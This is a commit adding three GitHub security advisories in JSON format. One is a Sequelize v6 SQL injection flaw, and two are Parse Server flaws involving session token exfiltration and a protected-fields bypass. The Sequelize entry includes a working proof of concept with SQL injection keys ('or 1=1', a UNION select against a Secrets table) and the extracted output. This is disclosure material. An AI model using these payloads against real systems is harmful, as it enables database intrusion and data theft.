Skip to content

Commit c012ca5

Browse files
1 parent 081fb2b commit c012ca5

3 files changed

Lines changed: 240 additions & 0 deletions

File tree

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-6457-6jrx-69cr",
4+
"modified": "2026-03-11T00:18:48Z",
5+
"published": "2026-03-11T00:18:48Z",
6+
"aliases": [
7+
"CVE-2026-30951"
8+
],
9+
"summary": "Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type",
10+
"details": "### Summary\n\nSQL injection via unescaped cast type in JSON/JSONB `where` clause processing. The `_traverseJSON()` function splits JSON path keys on `::` to extract a cast type, which is interpolated raw into `CAST(... AS <type>)` SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.\n\nAffected: v6.x through 6.37.7. v7 (`@sequelize/core`) is not affected.\n\n### Details\n\nIn `src/dialects/abstract/query-generator.js`, `_traverseJSON()` extracts a cast type from `::` in JSON keys without validation:\n\n```javascript\n// line 1892\n_traverseJSON(items, baseKey, prop, item, path) {\n let cast;\n if (path[path.length - 1].includes(\"::\")) {\n const tmp = path[path.length - 1].split(\"::\");\n cast = tmp[1]; // attacker-controlled, no escaping\n path[path.length - 1] = tmp[0];\n }\n // ...\n items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));\n}\n```\n\n`_castKey()` (line 1925) passes it to `Utils.Cast`, and `handleSequelizeMethod()` (line 1692) interpolates it directly:\n\n```javascript\nreturn `CAST(${result} AS ${smth.type.toUpperCase()})`;\n```\n\nJSON path **values** are escaped via `this.escape()` in `jsonPathExtractionQuery()`, but the cast **type** is not.\n\n**Suggested fix** — whitelist known SQL data types:\n\n```javascript\nconst ALLOWED_CAST_TYPES = new Set([\n 'integer', 'text', 'real', 'numeric', 'boolean', 'date',\n 'timestamp', 'timestamptz', 'json', 'jsonb', 'float',\n 'double precision', 'bigint', 'smallint', 'varchar', 'char',\n]);\n\nif (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {\n throw new Error(`Invalid cast type: ${cast}`);\n}\n```\n\n### PoC\n\n`npm install sequelize@6.37.7 sqlite3`\n\n```javascript\nconst { Sequelize, DataTypes } = require('sequelize');\n\nasync function main() {\n const sequelize = new Sequelize('sqlite::memory:', { logging: false });\n\n const User = sequelize.define('User', {\n username: DataTypes.STRING,\n metadata: DataTypes.JSON,\n });\n\n const Secret = sequelize.define('Secret', {\n key: DataTypes.STRING,\n value: DataTypes.STRING,\n });\n\n await sequelize.sync({ force: true });\n\n await User.bulkCreate([\n { username: 'alice', metadata: { role: 'admin', level: 10 } },\n { username: 'bob', metadata: { role: 'user', level: 5 } },\n { username: 'charlie', metadata: { role: 'user', level: 1 } },\n ]);\n\n await Secret.bulkCreate([\n { key: 'api_key', value: 'sk-secret-12345' },\n { key: 'db_password', value: 'super_secret_password' },\n ]);\n\n // TEST 1: WHERE clause bypass\n const r1 = await User.findAll({\n where: { metadata: { 'role::text) or 1=1--': 'anything' } },\n logging: (sql) => console.log('SQL:', sql),\n });\n console.log('OR 1=1:', r1.map(u => u.username));\n // Returns ALL rows: ['alice', 'bob', 'charlie']\n\n // TEST 2: UNION-based cross-table exfiltration\n const r2 = await User.findAll({\n where: {\n metadata: {\n 'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'\n }\n },\n raw: true,\n logging: (sql) => console.log('SQL:', sql),\n });\n console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`));\n // Returns: api_key=sk-secret-12345, db_password=super_secret_password\n}\n\nmain().catch(console.error);\n```\n\n**Output:**\n\n```\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n FROM `Users` AS `User`\n WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything';\nOR 1=1: [ 'alice', 'bob', 'charlie' ]\n\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n FROM `Users` AS `User`\n WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0\n UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x';\nUNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ]\n```\n\n### Impact\n\n**SQL Injection (CWE-89)** — Any application that passes user-controlled objects as `where` clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).\n\nA common vulnerable pattern:\n\n```javascript\napp.post('/api/users/search', async (req, res) => {\n const users = await User.findAll({\n where: { metadata: req.body.filter } // user controls JSON object keys\n });\n res.json(users);\n});\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "sequelize"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "6.0.0-beta.1"
29+
},
30+
{
31+
"fixed": "6.37.8"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 6.37.7"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/sequelize/sequelize/security/advisories/GHSA-6457-6jrx-69cr"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30951"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/sequelize/sequelize"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-89"
58+
],
59+
"severity": "HIGH",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-03-11T00:18:48Z",
62+
"nvd_published_at": "2026-03-10T21:16:48Z"
63+
}
64+
}
Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-6r2j-cxgf-495f",
4+
"modified": "2026-03-11T00:20:38Z",
5+
"published": "2026-03-11T00:20:38Z",
6+
"aliases": [
7+
"CVE-2026-30965"
8+
],
9+
"summary": "Parse Server vulnerable to session token exfiltration via `redirectClassNameForKey` query parameter",
10+
"details": "### Impact\n\nA vulnerability in Parse Server's query handling allows an authenticated or unauthenticated attacker to exfiltrate session tokens of other users by exploiting the `redirectClassNameForKey` query parameter. Exfiltrated session tokens can be used to take over user accounts.\n\nThe vulnerability requires the attacker to be able to create or update an object with a new relation field, which depends on the Class-Level Permissions of at least one class.\n\n### Patches\n\nThe fix applies the same security checks that normally protect class access after the query redirect, ensuring that queries redirected via `redirectClassNameForKey` are subject to the same restrictions as direct queries to the target class.\n\n### Workarounds\n\nSet restrictive Class-Level Permissions to prevent clients from creating new fields on classes, specifically by disabling `addField` for public access and unauthenticated users. Note that this limits client functionality and does not fully eliminate the risk if a relation field pointing to a protected class already exists in the schema.\n\n### References\n\n- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-6r2j-cxgf-495f\n- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.5.2-alpha.8\n- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.21",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "parse-server"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "9.0.0-alpha.1"
29+
},
30+
{
31+
"fixed": "9.5.2-alpha.8"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "npm",
40+
"name": "parse-server"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "0"
48+
},
49+
{
50+
"fixed": "8.6.21"
51+
}
52+
]
53+
}
54+
]
55+
}
56+
],
57+
"references": [
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-6r2j-cxgf-495f"
61+
},
62+
{
63+
"type": "ADVISORY",
64+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30965"
65+
},
66+
{
67+
"type": "PACKAGE",
68+
"url": "https://github.com/parse-community/parse-server"
69+
},
70+
{
71+
"type": "WEB",
72+
"url": "https://github.com/parse-community/parse-server/releases/tag/8.6.21"
73+
},
74+
{
75+
"type": "WEB",
76+
"url": "https://github.com/parse-community/parse-server/releases/tag/9.5.2-alpha.8"
77+
}
78+
],
79+
"database_specific": {
80+
"cwe_ids": [
81+
"CWE-863"
82+
],
83+
"severity": "CRITICAL",
84+
"github_reviewed": true,
85+
"github_reviewed_at": "2026-03-11T00:20:38Z",
86+
"nvd_published_at": "2026-03-10T21:16:48Z"
87+
}
88+
}
Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-72hp-qff8-4pvv",
4+
"modified": "2026-03-11T00:19:57Z",
5+
"published": "2026-03-11T00:19:57Z",
6+
"aliases": [
7+
"CVE-2026-30962"
8+
],
9+
"summary": "Parse Server has a protected fields bypass via logical query operators",
10+
"details": "### Impact\n\nThe validation for protected fields only checks top-level query keys. By wrapping a query constraint on a protected field inside a logical operator, the check is bypassed entirely. This allows any authenticated user to query on protected fields to extract field values.\n\nAll Parse Server deployments have default protected fields and are vulnerable.\n\n### Patches\n\nThe fix adds recursive validation of sub-queries with logical operators, consistent with the existing recursive validation patterns.\n\n### Workarounds\n\nUse a `beforeFind` trigger on affected classes to manually inspect the query for protected field references in logical operator sub-queries and reject the request.\n\n### References\n\n- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-72hp-qff8-4pvv\n- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.5.2-alpha.6\n- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.19",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "parse-server"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "9.0.0"
29+
},
30+
{
31+
"fixed": "9.5.2-alpha.6"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "npm",
40+
"name": "parse-server"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "0"
48+
},
49+
{
50+
"fixed": "8.6.19"
51+
}
52+
]
53+
}
54+
]
55+
}
56+
],
57+
"references": [
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-72hp-qff8-4pvv"
61+
},
62+
{
63+
"type": "ADVISORY",
64+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30962"
65+
},
66+
{
67+
"type": "PACKAGE",
68+
"url": "https://github.com/parse-community/parse-server"
69+
},
70+
{
71+
"type": "WEB",
72+
"url": "https://github.com/parse-community/parse-server/releases/tag/8.6.19"
73+
},
74+
{
75+
"type": "WEB",
76+
"url": "https://github.com/parse-community/parse-server/releases/tag/9.5.2-alpha.6"
77+
}
78+
],
79+
"database_specific": {
80+
"cwe_ids": [
81+
"CWE-284"
82+
],
83+
"severity": "HIGH",
84+
"github_reviewed": true,
85+
"github_reviewed_at": "2026-03-11T00:19:57Z",
86+
"nvd_published_at": "2026-03-10T21:16:48Z"
87+
}
88+
}

0 commit comments

Comments
 (0)